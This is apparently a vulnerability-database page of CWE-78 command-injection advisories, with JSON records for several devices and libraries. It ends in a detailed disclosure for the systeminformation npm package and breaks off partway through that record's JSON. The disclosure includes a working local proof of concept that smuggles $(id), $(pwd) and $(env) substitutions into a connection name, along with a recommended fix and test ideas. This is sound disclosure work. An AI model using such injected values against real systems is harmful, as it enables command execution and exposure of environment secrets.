CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8341 vulnerabilities reference this CWE, most recent first.
GHSA-HV3R-JWFX-PVQR
Vulnerability from github – Published: 2026-02-27 03:30 – Updated: 2026-02-27 03:30An OS command injection vulnerability exists in XWEB Pro version 1.12.1 and prior, enabling an authenticated attacker to achieve remote code execution on the system by providing malicious input via the device hostname configuration which is later processed during system setup, resulting in remote code execution.
{
"affected": [],
"aliases": [
"CVE-2026-20764"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-27T02:16:18Z",
"severity": "HIGH"
},
"details": "An OS command injection \nvulnerability exists in XWEB Pro version 1.12.1 and prior, enabling an \nauthenticated attacker to achieve remote code execution on the system by\n providing malicious input via the device hostname configuration which \nis later processed during system setup, resulting in remote code \nexecution.",
"id": "GHSA-hv3r-jwfx-pvqr",
"modified": "2026-02-27T03:30:27Z",
"published": "2026-02-27T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20764"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-057-10.json"
},
{
"type": "WEB",
"url": "https://webapps.copeland.com/Dixell/Pages/SystemSoftwareUpdate"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HV53-Q76C-7F8C
Vulnerability from github – Published: 2021-08-02 17:02 – Updated: 2021-07-26 18:11A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "net.opentsdb:opentsdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-35476"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2021-07-26T18:11:42Z",
"nvd_published_at": "2020-12-16T08:15:00Z",
"severity": "CRITICAL"
},
"details": "A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)",
"id": "GHSA-hv53-q76c-7f8c",
"modified": "2021-07-26T18:11:42Z",
"published": "2021-08-02T17:02:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35476"
},
{
"type": "WEB",
"url": "https://github.com/OpenTSDB/opentsdb/issues/2051"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OS Command Injection in OpenTSDB"
}
GHSA-HV57-J9MH-H2R7
Vulnerability from github – Published: 2022-05-24 16:48 – Updated: 2024-04-04 01:02A shell escape vulnerability in /webconsole/APIController in the API Configuration component of Sophos XG firewall 17.0.8 MR-8 allows remote attackers to execute arbitrary OS commands via shell metachracters in the "X-Forwarded-for" HTTP header.
{
"affected": [],
"aliases": [
"CVE-2018-16118"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-20T17:15:00Z",
"severity": "HIGH"
},
"details": "A shell escape vulnerability in /webconsole/APIController in the API Configuration component of Sophos XG firewall 17.0.8 MR-8 allows remote attackers to execute arbitrary OS commands via shell metachracters in the \"X-Forwarded-for\" HTTP header.",
"id": "GHSA-hv57-j9mh-h2r7",
"modified": "2024-04-04T01:02:26Z",
"published": "2022-05-24T16:48:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16118"
},
{
"type": "WEB",
"url": "https://community.sophos.com/kb/en-us/132637"
},
{
"type": "WEB",
"url": "https://github.com/klsecservices/Advisories/blob/master/KL-SOPHOS-2018-003.md"
},
{
"type": "WEB",
"url": "https://www.sophos.com/en-us/legal/sophos-responsible-disclosure-policy.aspx"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HV6Q-XM2J-9HQV
Vulnerability from github – Published: 2024-11-05 15:30 – Updated: 2024-11-05 21:30D-Link DIR_823G 1.0.2B05 was discovered to contain a command injection vulnerability via the HostName parameter in the SetWanSettings function. This vulnerability allows attackers to execute arbitrary OS commands via a crafted request.
{
"affected": [],
"aliases": [
"CVE-2024-51024"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-05T15:15:26Z",
"severity": "HIGH"
},
"details": "D-Link DIR_823G 1.0.2B05 was discovered to contain a command injection vulnerability via the HostName parameter in the SetWanSettings function. This vulnerability allows attackers to execute arbitrary OS commands via a crafted request.",
"id": "GHSA-hv6q-xm2j-9hqv",
"modified": "2024-11-05T21:30:43Z",
"published": "2024-11-05T15:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51024"
},
{
"type": "WEB",
"url": "https://github.com/pjqwudi1/my_vuln/blob/main/D-link4/vuln_43/43.md"
},
{
"type": "WEB",
"url": "https://www.dlink.com/en/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HVCG-CJRJ-269V
Vulnerability from github – Published: 2024-11-04 15:31 – Updated: 2024-11-04 18:31DrayTek Vigor3900 1.5.1.3 contains a post-authentication command injection vulnerability. This vulnerability occurs when the action parameter in cgi-bin/mainfunction.cgi is set to autodiscovery_clear.
{
"affected": [],
"aliases": [
"CVE-2024-45885"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-04T15:15:22Z",
"severity": "HIGH"
},
"details": "DrayTek Vigor3900 1.5.1.3 contains a post-authentication command injection vulnerability. This vulnerability occurs when the `action` parameter in `cgi-bin/mainfunction.cgi` is set to `autodiscovery_clear.`",
"id": "GHSA-hvcg-cjrj-269v",
"modified": "2024-11-04T18:31:21Z",
"published": "2024-11-04T15:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45885"
},
{
"type": "WEB",
"url": "https://github.com/N1nEmAn/wp/blob/main/test_v.zip"
},
{
"type": "WEB",
"url": "https://github.com/fu37kola/cve/blob/main/DrayTek/Vigor3900/1.5.1.3/DrayTek_Vigor_3900_1.5.1.3.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HVFH-M3G5-CQ92
Vulnerability from github – Published: 2026-02-27 03:30 – Updated: 2026-02-27 03:30An OS command injection
vulnerability exists in XWEB Pro version 1.12.1 and prior, enabling an authenticated attacker to achieve remote code execution on the system by configuring a maliciously crafted LCD state which is later processed during system setup, enabling remote code execution.
{
"affected": [],
"aliases": [
"CVE-2026-25037"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-27T02:16:19Z",
"severity": "HIGH"
},
"details": "An OS command injection \n\nvulnerability exists in XWEB Pro version 1.12.1 and prior, enabling an \nauthenticated attacker to achieve remote code execution on the system by\n configuring a maliciously crafted LCD state which is later processed \nduring system setup, enabling remote code execution.",
"id": "GHSA-hvfh-m3g5-cq92",
"modified": "2026-02-27T03:30:27Z",
"published": "2026-02-27T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25037"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-057-10.json"
},
{
"type": "WEB",
"url": "https://webapps.copeland.com/Dixell/Pages/SystemSoftwareUpdate"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HVX9-HWR7-WJJ9
Vulnerability from github – Published: 2026-05-13 15:29 – Updated: 2026-06-08 23:53Summary
On Linux, systeminformation is vulnerable to command injection in networkInterfaces() when an active NetworkManager connection profile name contains shell metacharacters.
This is not caused by a caller passing attacker-controlled arguments into networkInterfaces(). The vulnerable value is obtained internally from real nmcli device status output. The library sanitizes the network interface name before using it in shell commands, but it does not apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized connectionName is then interpolated into three shell command strings executed through execSync().
This issue was validated locally against real NetworkManager and real nmcli. Calling only:
require('./lib').networkInterfaces()
was enough to trigger execution. The injected command ran with the privileges of the calling Node.js process.
Affected Component & Versions
Affected component:
lib/network.jsnetworkInterfaces()- Linux NetworkManager /
nmclihandling
Impact & Threat Model
Confirmed impact:
An attacker who can create or rename an active NetworkManager connection profile can execute arbitrary shell commands when a Node.js process using systeminformation calls networkInterfaces().
Confirmed realistic affected deployments include:
- local inventory agents
- monitoring agents
- diagnostics tools
- admin dashboard backends collecting host information
- privileged local desktop or device-management agents
If such a process runs with elevated privileges, the injected command executes with those same elevated privileges.
Confirmed facts:
- The payload was stored as a real NetworkManager connection profile name.
- Real
nmcli device statusreturned the name unchanged. networkInterfaces()parsed that value and reused it in shell commands.- The injected command ran as the calling Node.js process.
- Environment key categories were reachable from the injected process context.
Not claimed:
- No remote exploitation claim is made.
- No
AV:NorAV:Aclaim is made. - No SSID-to-connection-name attack path is claimed.
- File-delivery-only
.nmconnectionimport was not confirmed as a remote or unauthenticated path.
Root Cause Analysis
The root cause is inconsistent trust handling between the Linux interface name and the NetworkManager connection profile name.
The interface name is sanitized before it is embedded into shell commands:
const iface = dev.split(':')[0].trim();
const s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(iface);
However, the NetworkManager connection name is parsed from command output and later reused without equivalent sanitization:
const connectionNameLines = resultFormat.split(' ').slice(3);
const connectionName = connectionNameLines.join(' ');
return connectionName !== '--' ? connectionName : '';
That is unsafe because NetworkManager profile names can contain shell metacharacters. Quoting the value inside "${connectionName}" does not make it safe. A connection name containing ", $(), ;, backticks, or similar shell syntax can break out of the intended argument context or trigger command substitution.
The vulnerable code executes through execSync(), which invokes a shell for command strings. As a result, interpolating connectionName into the command string creates a command-injection sink.
Exact Code Flow & File Paths
Source: lib/network.js:538-544
function getLinuxIfaceConnectionName(interfaceName) {
const cmd = `nmcli device status 2>/dev/null | grep ${interfaceName}`;
try {
const result = execSync(cmd, util.execOptsLinux).toString();
const resultFormat = result.replace(/\s+/g, ' ').trim();
const connectionNameLines = resultFormat.split(' ').slice(3);
The parsed value is then returned as connectionName.
Trigger: lib/network.js:987-991
lines = execSync(cmd, util.execOptsLinux).toString().split('\n');
const connectionName = getLinuxIfaceConnectionName(ifaceSanitized);
dhcp = getLinuxIfaceDHCPstatus(ifaceSanitized, connectionName, _dhcpNics);
dnsSuffix = getLinuxIfaceDNSsuffix(connectionName);
ieee8021xAuth = getLinuxIfaceIEEE8021xAuth(connectionName);
Sink 1: lib/network.js:620
const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.method;`;
Sink 2: lib/network.js:660
const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.dns-search;`;
Sink 3: lib/network.js:676
const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep 802-1x.eap;`;
There are three distinct exploitable connectionName sinks.
Proof of Concept (PoC) & Reproduction Steps
The following PoC is harmless and local-only. It uses a dummy NetworkManager connection and writes proof files under /tmp.
Run from the project root:
cd /path/to/systeminformation
Confirm proof files do not already exist:
test -e /tmp/si-nm-id-proof && echo EXISTS || echo NOT_YET
test -e /tmp/si-nm-pwd-proof && echo EXISTS || echo NOT_YET
test -e /tmp/si-nm-env-proof && echo EXISTS || echo NOT_YET
Create a malicious NetworkManager dummy profile:
nmcli connection add type dummy ifname si-nmghsa0 con-name 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'
Assign a documentation-only address so Node’s os.networkInterfaces() sees the dummy interface:
nmcli connection modify 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' \
ipv4.method manual \
ipv4.addresses 192.0.2.253/32 \
ipv6.method disabled
Activate the profile:
nmcli connection up 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'
Confirm real nmcli exposes the malicious connection name unchanged:
nmcli device status | grep si-nmghsa0
Expected relevant output includes the active connection name:
si-nmghsa0 dummy connected si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)
Trigger the vulnerable library path with no attacker-controlled function argument:
node -e "const si=require('./lib'); si.networkInterfaces().then((interfaces)=>{const item=interfaces.find((entry)=>entry.iface==='si-nmghsa0'); console.log('saw_dummy_iface=' + Boolean(item)); if (item)
console.log(JSON.stringify({iface:item.iface, ip4:item.ip4, dhcp:item.dhcp, dnsSuffix:item.dnsSuffix, ieee8021xAuth:item.ieee8021xAuth}));}).catch((e)=>{console.error(e); process.exit(1);});"
Confirm command execution:
test -e /tmp/si-nm-id-proof && echo CONFIRMED || echo FAILED
cat /tmp/si-nm-id-proof
cat /tmp/si-nm-pwd-proof
Inspect environment key categories without printing secret values:
node -e "
const fs=require('fs');
const keys=fs.readFileSync('/tmp/si-nm-env-proof','utf8')
.split(/\n/).map(l=>l.split('=')[0]).filter(Boolean);
const wanted=['PATH','USER','HOME','SHELL','PWD','SSH_AUTH_SOCK','GITHUB_TOKEN','NPM_TOKEN','AWS_ACCESS_KEY_ID'];
console.log('env_key_count='+keys.length);
console.log('present_categories='+wanted.filter(k=>keys.includes(k)).join(','));
"
validated evidence:
saw_dummy_iface=true
uid=1000(smart) gid=1000(smart)
pwd=/home/smart/Downloads/systeminformation-master
env_key_count=74
present_categories=PATH,USER,HOME,SHELL,PWD,SSH_AUTH_SOCK
Local Validation Summary & Aggregate Reachability
Validation was performed against real NetworkManager and real nmcli. The primary proof did not rely on a PATH stub.
Observed behavior:
- The malicious profile was accepted by NetworkManager.
- The active connection name appeared unchanged in
nmcli device status. - Calling only
require('./lib').networkInterfaces()triggered execution. - The proof artifacts were created only after the library call.
- The
idoutput matched the calling Node.js process identity. - The
pwdoutput matched the Node.js process working directory. - The environment proof demonstrated access to process-environment categories without printing secret values.
Aggregate API reachability:
lib/index.js:94:getStaticData()reachesnetwork.networkInterfaces()as part of static data collection.lib/index.js:307:getAllData()reachesgetStaticData()first.
During local validation, an aggregate runtime attempt later hit an unrelated osinfo.js error in that environment. Because of that, aggregate source reachability is confirmed, but aggregate call completion was not used as the primary exploit proof.
Why This Is Not Intended Behavior
networkInterfaces() is documented and expected to return network interface metadata such as interface name, IP addresses, DHCP state, DNS suffix, and IEEE 802.1X status.
The library already shows an intent to protect shell command construction by sanitizing interface names before shell use. The missing sanitization for connectionName is inconsistent with that defensive pattern.
Executing shell commands embedded in a NetworkManager profile name is not a documented feature, not required to return network metadata, and not an expected design tradeoff. This is a command injection vulnerability caused by unsafe shell-string construction.
Recommended Fix
Avoid shell interpolation entirely for NetworkManager calls.
Replace shell command strings with execFileSync() or spawnSync() using argument arrays. For example:
const { execFileSync } = require('child_process');
const output = execFileSync(
'nmcli',
['connection', 'show', connectionName],
util.execOptsLinux
).toString();
Recommended code-level changes:
- Replace
nmcli device status 2>/dev/null | grep ${interfaceName}with argument-array execution and filter rows in JavaScript. - Replace every
nmcli connection show "${connectionName}" | grep ...shell string with argument-array execution. - Parse
ipv4.method,ipv4.dns-search, and802-1x.eapin JavaScript instead of using shellgrep. - Treat NetworkManager profile names as untrusted input even though they originate from local system state.
- Do not rely on quoting or escaping as the main mitigation. Argument-array execution is the correct fix.
Regression Test Ideas
Add Linux-specific tests for NetworkManager connection names containing shell metacharacters.
Suggested malicious connection names:
name$(...)name"; ...; #`name...```name|...name;...
Expected behavior after the fix:
networkInterfaces()completes without executing shell syntax from the connection name.- No marker files or equivalent side effects are produced.
- The function either returns metadata for the interface or safely returns unknown/default values for fields that cannot be queried.
- Tests cover all three current sink helpers:
- DHCP lookup
- DNS suffix lookup
- IEEE 802.1x auth lookup
For unit-level coverage, mock the NetworkManager command wrapper so that nmcli device status returns a connection name containing metacharacters, then assert that subsequent calls use argument arrays rather than shell strings.
Credit request
If you publish an advisory or assign a CVE, please credit me as:
Ali Firas (thesmartshadow) - https://www.smartshadow.dev
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.31.5"
},
"package": {
"ecosystem": "npm",
"name": "systeminformation"
},
"ranges": [
{
"events": [
{
"introduced": "4.17.0"
},
{
"fixed": "5.31.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44724"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-13T15:29:21Z",
"nvd_published_at": "2026-05-27T20:16:37Z",
"severity": "HIGH"
},
"details": "## Summary\n\nOn Linux, `systeminformation` is vulnerable to command injection in `networkInterfaces()` when an **active NetworkManager connection profile name** contains shell metacharacters.\n\nThis is not caused by a caller passing attacker-controlled arguments into `networkInterfaces()`. The vulnerable value is obtained internally from real `nmcli device status` output. The library sanitizes the network interface name before using it in shell commands, but it does **not** apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized `connectionName` is then interpolated into three shell command strings executed through `execSync()`.\n\nThis issue was validated locally against **real NetworkManager** and **real `nmcli`**. Calling only:\n\n```js\nrequire(\u0027./lib\u0027).networkInterfaces()\n```\n\nwas enough to trigger execution. The injected command ran with the privileges of the calling Node.js process.\n\n## Affected Component \u0026 Versions\n\n**Affected component:**\n\n- [`lib/network.js`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js)\n- `networkInterfaces()`\n- Linux NetworkManager / `nmcli` handling\n\n\n## Impact \u0026 Threat Model\n\n**Confirmed impact:**\n\nAn attacker who can create or rename an **active NetworkManager connection profile** can execute arbitrary shell commands when a Node.js process using `systeminformation` calls `networkInterfaces()`.\n\n**Confirmed realistic affected deployments include:**\n\n- local inventory agents\n- monitoring agents\n- diagnostics tools\n- admin dashboard backends collecting host information\n- privileged local desktop or device-management agents\n\nIf such a process runs with elevated privileges, the injected command executes with those same elevated privileges.\n\n**Confirmed facts:**\n\n- The payload was stored as a real NetworkManager connection profile name.\n- Real `nmcli device status` returned the name unchanged.\n- `networkInterfaces()` parsed that value and reused it in shell commands.\n- The injected command ran as the calling Node.js process.\n- Environment key categories were reachable from the injected process context.\n\n**Not claimed:**\n\n- No remote exploitation claim is made.\n- No `AV:N` or `AV:A` claim is made.\n- No SSID-to-connection-name attack path is claimed.\n- File-delivery-only `.nmconnection` import was not confirmed as a remote or unauthenticated path.\n\n## Root Cause Analysis\n\nThe root cause is inconsistent trust handling between the Linux interface name and the NetworkManager connection profile name.\n\nThe interface name is sanitized before it is embedded into shell commands:\n\n```js\nconst iface = dev.split(\u0027:\u0027)[0].trim();\nconst s = util.isPrototypePolluted() ? \u0027---\u0027 : util.sanitizeShellString(iface);\n```\n\nHowever, the NetworkManager connection name is parsed from command output and later reused without equivalent sanitization:\n\n```js\nconst connectionNameLines = resultFormat.split(\u0027 \u0027).slice(3);\nconst connectionName = connectionNameLines.join(\u0027 \u0027);\nreturn connectionName !== \u0027--\u0027 ? connectionName : \u0027\u0027;\n```\n\nThat is unsafe because NetworkManager profile names can contain shell metacharacters. Quoting the value inside `\"${connectionName}\"` does not make it safe. A connection name containing `\"`, `$()`, `;`, backticks, or similar shell syntax can break out of the intended argument context or trigger command substitution.\n\nThe vulnerable code executes through `execSync()`, which invokes a shell for command strings. As a result, interpolating `connectionName` into the command string creates a command-injection sink.\n\n## Exact Code Flow \u0026 File Paths\n\n**Source:** [`lib/network.js:538-544`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L538-L544)\n\n```js\nfunction getLinuxIfaceConnectionName(interfaceName) {\n const cmd = `nmcli device status 2\u003e/dev/null | grep ${interfaceName}`;\n\n try {\n const result = execSync(cmd, util.execOptsLinux).toString();\n const resultFormat = result.replace(/\\s+/g, \u0027 \u0027).trim();\n const connectionNameLines = resultFormat.split(\u0027 \u0027).slice(3);\n```\n\nThe parsed value is then returned as `connectionName`.\n\n**Trigger:** [`lib/network.js:987-991`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L987-L991)\n\n```js\nlines = execSync(cmd, util.execOptsLinux).toString().split(\u0027\\n\u0027);\nconst connectionName = getLinuxIfaceConnectionName(ifaceSanitized);\ndhcp = getLinuxIfaceDHCPstatus(ifaceSanitized, connectionName, _dhcpNics);\ndnsSuffix = getLinuxIfaceDNSsuffix(connectionName);\nieee8021xAuth = getLinuxIfaceIEEE8021xAuth(connectionName);\n```\n\n**Sink 1:** [`lib/network.js:620`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L620-L620)\n\n```js\nconst cmd = `nmcli connection show \"${connectionName}\" 2\u003e/dev/null | grep ipv4.method;`;\n```\n\n**Sink 2:** [`lib/network.js:660`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L660-L660)\n\n```js\nconst cmd = `nmcli connection show \"${connectionName}\" 2\u003e/dev/null | grep ipv4.dns-search;`;\n```\n\n**Sink 3:** [`lib/network.js:676`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L676-L676)\n\n```js\nconst cmd = `nmcli connection show \"${connectionName}\" 2\u003e/dev/null | grep 802-1x.eap;`;\n```\n\nThere are **three distinct exploitable `connectionName` sinks**.\n\n\n## Proof of Concept (PoC) \u0026 Reproduction Steps\n\nThe following PoC is harmless and local-only. It uses a dummy NetworkManager connection and writes proof files under /tmp.\n\nRun from the project root:\n\n```bash\ncd /path/to/systeminformation\n```\n\nConfirm proof files do not already exist:\n\n```bash\ntest -e /tmp/si-nm-id-proof \u0026\u0026 echo EXISTS || echo NOT_YET\ntest -e /tmp/si-nm-pwd-proof \u0026\u0026 echo EXISTS || echo NOT_YET\ntest -e /tmp/si-nm-env-proof \u0026\u0026 echo EXISTS || echo NOT_YET\n```\n\nCreate a malicious NetworkManager dummy profile:\n\n```bash\nnmcli connection add type dummy ifname si-nmghsa0 con-name \u0027si-ghsa$(id\u003e/tmp/si-nm-id-proof)$(pwd\u003e/tmp/si-nm-pwd-proof)$(env\u003e/tmp/si-nm-env-proof)\u0027\n```\n\nAssign a documentation-only address so Node\u2019s os.networkInterfaces() sees the dummy interface:\n\n```bash\nnmcli connection modify \u0027si-ghsa$(id\u003e/tmp/si-nm-id-proof)$(pwd\u003e/tmp/si-nm-pwd-proof)$(env\u003e/tmp/si-nm-env-proof)\u0027 \\\n ipv4.method manual \\\n ipv4.addresses 192.0.2.253/32 \\\n ipv6.method disabled\n```\n\nActivate the profile:\n\n```bash\nnmcli connection up \u0027si-ghsa$(id\u003e/tmp/si-nm-id-proof)$(pwd\u003e/tmp/si-nm-pwd-proof)$(env\u003e/tmp/si-nm-env-proof)\u0027\n```\n\nConfirm real nmcli exposes the malicious connection name unchanged:\n\n```bash\nnmcli device status | grep si-nmghsa0\n```\n\nExpected relevant output includes the active connection name:\n\n```text\nsi-nmghsa0 dummy connected si-ghsa$(id\u003e/tmp/si-nm-id-proof)$(pwd\u003e/tmp/si-nm-pwd-proof)$(env\u003e/tmp/si-nm-env-proof)\n```\n\nTrigger the vulnerable library path with no attacker-controlled function argument:\n\n```bash\nnode -e \"const si=require(\u0027./lib\u0027); si.networkInterfaces().then((interfaces)=\u003e{const item=interfaces.find((entry)=\u003eentry.iface===\u0027si-nmghsa0\u0027); console.log(\u0027saw_dummy_iface=\u0027 + Boolean(item)); if (item)\nconsole.log(JSON.stringify({iface:item.iface, ip4:item.ip4, dhcp:item.dhcp, dnsSuffix:item.dnsSuffix, ieee8021xAuth:item.ieee8021xAuth}));}).catch((e)=\u003e{console.error(e); process.exit(1);});\"\n```\n\nConfirm command execution:\n\n```bash\ntest -e /tmp/si-nm-id-proof \u0026\u0026 echo CONFIRMED || echo FAILED\ncat /tmp/si-nm-id-proof\ncat /tmp/si-nm-pwd-proof\n```\n\nInspect environment key categories without printing secret values:\n\n```bash\nnode -e \"\nconst fs=require(\u0027fs\u0027);\nconst keys=fs.readFileSync(\u0027/tmp/si-nm-env-proof\u0027,\u0027utf8\u0027)\n .split(/\\n/).map(l=\u003el.split(\u0027=\u0027)[0]).filter(Boolean);\nconst wanted=[\u0027PATH\u0027,\u0027USER\u0027,\u0027HOME\u0027,\u0027SHELL\u0027,\u0027PWD\u0027,\u0027SSH_AUTH_SOCK\u0027,\u0027GITHUB_TOKEN\u0027,\u0027NPM_TOKEN\u0027,\u0027AWS_ACCESS_KEY_ID\u0027];\nconsole.log(\u0027env_key_count=\u0027+keys.length);\nconsole.log(\u0027present_categories=\u0027+wanted.filter(k=\u003ekeys.includes(k)).join(\u0027,\u0027));\n\"\n```\n\nvalidated evidence:\n\n```text\nsaw_dummy_iface=true\nuid=1000(smart) gid=1000(smart)\npwd=/home/smart/Downloads/systeminformation-master\nenv_key_count=74\npresent_categories=PATH,USER,HOME,SHELL,PWD,SSH_AUTH_SOCK\n```\n\n## Local Validation Summary \u0026 Aggregate Reachability\n\nValidation was performed against **real NetworkManager** and **real `nmcli`**. The primary proof did not rely on a PATH stub.\n\n**Observed behavior:**\n\n- The malicious profile was accepted by NetworkManager.\n- The active connection name appeared unchanged in `nmcli device status`.\n- Calling only `require(\u0027./lib\u0027).networkInterfaces()` triggered execution.\n- The proof artifacts were created only after the library call.\n- The `id` output matched the calling Node.js process identity.\n- The `pwd` output matched the Node.js process working directory.\n- The environment proof demonstrated access to process-environment categories without printing secret values.\n\n**Aggregate API reachability:**\n\n- [`lib/index.js:94`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/index.js#L94-L94): `getStaticData()` reaches `network.networkInterfaces()` as part of static data collection.\n- [`lib/index.js:307`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/index.js#L307-L307): `getAllData()` reaches `getStaticData()` first.\n\nDuring local validation, an aggregate runtime attempt later hit an unrelated `osinfo.js` error in that environment. Because of that, aggregate source reachability is confirmed, but aggregate call completion was **not** used as the primary exploit proof.\n\n## Why This Is Not Intended Behavior\n\n`networkInterfaces()` is documented and expected to return network interface metadata such as interface name, IP addresses, DHCP state, DNS suffix, and IEEE 802.1X status.\n\nThe library already shows an intent to protect shell command construction by sanitizing interface names before shell use. The missing sanitization for `connectionName` is inconsistent with that defensive pattern.\n\nExecuting shell commands embedded in a NetworkManager profile name is not a documented feature, not required to return network metadata, and not an expected design tradeoff. This is a command injection vulnerability caused by unsafe shell-string construction.\n\n## Recommended Fix\n\nAvoid shell interpolation entirely for NetworkManager calls.\n\nReplace shell command strings with `execFileSync()` or `spawnSync()` using argument arrays. For example:\n\n```js\nconst { execFileSync } = require(\u0027child_process\u0027);\n\nconst output = execFileSync(\n \u0027nmcli\u0027,\n [\u0027connection\u0027, \u0027show\u0027, connectionName],\n util.execOptsLinux\n).toString();\n```\n\n**Recommended code-level changes:**\n\n- Replace `nmcli device status 2\u003e/dev/null | grep ${interfaceName}` with argument-array execution and filter rows in JavaScript.\n- Replace every `nmcli connection show \"${connectionName}\" | grep ...` shell string with argument-array execution.\n- Parse `ipv4.method`, `ipv4.dns-search`, and `802-1x.eap` in JavaScript instead of using shell `grep`.\n- Treat NetworkManager profile names as untrusted input even though they originate from local system state.\n- Do not rely on quoting or escaping as the main mitigation. Argument-array execution is the correct fix.\n\n## Regression Test Ideas\n\nAdd Linux-specific tests for NetworkManager connection names containing shell metacharacters.\n\n**Suggested malicious connection names:**\n\n- `name$(...)`\n- `name\"; ...; #`\n- ``name`...``` \n- `name|...`\n- `name;...`\n\n**Expected behavior after the fix:**\n\n- `networkInterfaces()` completes without executing shell syntax from the connection name.\n- No marker files or equivalent side 